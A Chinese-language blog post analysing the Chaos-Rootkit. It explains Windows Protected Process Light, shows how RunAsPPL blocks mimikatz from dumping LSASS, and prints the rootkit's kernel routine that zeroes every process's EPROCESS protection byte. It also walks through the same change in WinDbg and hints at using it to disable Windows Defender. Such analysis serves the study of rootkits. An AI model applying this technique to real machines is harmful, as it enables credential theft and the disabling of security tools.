Joe1sn's Cabin

rookit-3-ppl

windows rookit防护-PPL保护

项目地址:https://github.com/ZeroMemoryEx/Chaos-Rootkit

之前文章:

或许我们的公众号会有更多你感兴趣的内容

img

效果展示

**为什么我已经提权到了administrator但是mimikatz依旧无法dump lsass?**先不讲长篇大论,直接看看效果有个初次感受。依旧是windows 10 22H2版本,用KDM Mapper加载rootkit后使用。

使用前:

image-20250705152856153

使用后:

image-20250705152949577

image-20250705153118685

Chaos-Rootkit的DbgPrint

image-20250705153144968

PPL保护介绍

​ PPL全称是: Protected Process Light,前身是Protected Process。具体区别就是之前的进程只分为受保护和不受保护,没有提供更加细致的保护等级划分,只需要使用 SeDebugPrivilege 令牌权限即可获取任意进程的所有访问权限。在Windows 8.1过后在此基础之上新增了PPL。

​ 根据《深入解析Windows操作系统(第7版)(卷1)》中的描述(具体可见3.3.1 受保护进程轻型(PPL)):

image-20250705155550117

其中不同的签名方代表不同的信任等级

image-20250705155627253

这样实现低等级的进程即使已经提权也无法对更高等级的进程进行内存读写,红队中比较常用的就是使用mimikatz进行LSASS Dump,如果存在PPL保护,需要的就不止SeDebugPrivilege了。这里针对这个一问题进行举例

mimikatz LSASS Dump

在注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa中新增DWORD 值RunAsPPL,值为1

如果在AD域中设置

1
2
3
4
5
6
7
8
9
10
11
打开组策略管理控制台 (GPMC)。
创建在域级别链接或链接到包含您的计算机帐户的组织单位的新 GPO。或者,您可以选择已部署的 GPO。
右键单击 GPO,然后单击编辑以打开组策略管理编辑器。
展开计算机配置,展开首选项,然后展开Windows 设置。
右键单击注册表,指向新建,然后单击注册表项。将出现“新建注册表属性”对话框。
在Hive列表中,单击HKEY_LOCAL_MACHINE。
在Key Path列表中,浏览至SYSTEM\CurrentControlSet\Control\Lsa。
在值名称框中,键入RunAsPPL。
在值类型框中,单击REG_DWORD。
在数值数据框中,键入00000001。
单击确定。

image-20250707102800761

即使是管理员权限也不能读取到LSASS中的NTML Hash。

在加载Rootkit并且强制关闭所有进程(包括Lsass的保护后)

image-20250707102719476

如何绕过

很明显一个直接思路就是修改注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa,删除或者修改RunAsPPL值。缺点也很明显,需要重启才能生效。

这里我们分析rootkit的相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DWORD UnprotectAllProcesses() {
PVOID process = NULL;
PLIST_ENTRY plist;
NTSTATUS status = STATUS_UNSUCCESSFUL;
NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)4, (PEPROCESS*)&process);
// ret check ...
__try
{
plist = (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset);

while (plist->Flink != (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset))
{
DbgPrint("Blink: %p, Flink: %p\n", plist->Blink, plist->Flink);

ULONG_PTR EProtectionLevel = (ULONG_PTR)plist->Flink - eoffsets.ActiveProcessLinks_offset + eoffsets.protection_offset;

*(BYTE*)EProtectionLevel = (BYTE)0;

plist = plist->Flink;
}
status = STATUS_SUCCESS;
}
//__finally { ... }

}

首先使用PsLookupProcessByProcessId从内核中找到system进程(system进程PID恒为4),然后顺着ActiveProcessLink遍历进程,通过protection_offsetEProtectionLevel=0。编程上的思路如此,那么实际内存中呢?重启后使用windbg调试来对比一下。

复习一下EPROCESS的偏移,也可以参考utils.c中的 InitializeOffsets函数

image-20250707104950168

我的版本是19041

image-20250707105043929

image-20250707105028382

这里查看的是lsass的进程

image-20250707105126194

  • Level:0x41,LSA签名的PPL
  • Signer:0x4,对照最开始的表格这里是专指lsass.exe

rootkit中的代码直接将protection level置零,简单粗暴,这里手工实现一下

修改前:

image-20250707105806648

修改后

image-20250707110051493

没有任何问题,在rootkit中有一段gui客户端不能调用的代码(可能是我还没发现)

image-20250707110216421

image-20250707110308618

这里提供了更加细致的修改进程保护的选项,但是客户端貌似没有这段ioctl的代码

更多利用

比如PROTECTION_LEVEL_ANTIMALWARE_LIGHT就是一个和杀毒软件相关的保护等级,一般来说拥有trustinstaller权限和移除这个进程保护等级才能永久关闭windows defender(关闭进程和删除相关文件)。当然关闭windows defender有更多更优雅的方式,这里只是大致说说如何利用PPL相关权限。

关于其他保护等级的利用可以搜索更多资料,这里就不再赘述。

引用

https://support.kaspersky.com/us/common/windows/13905

https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals

https://cloud.tencent.com.cn/developer/article/2013602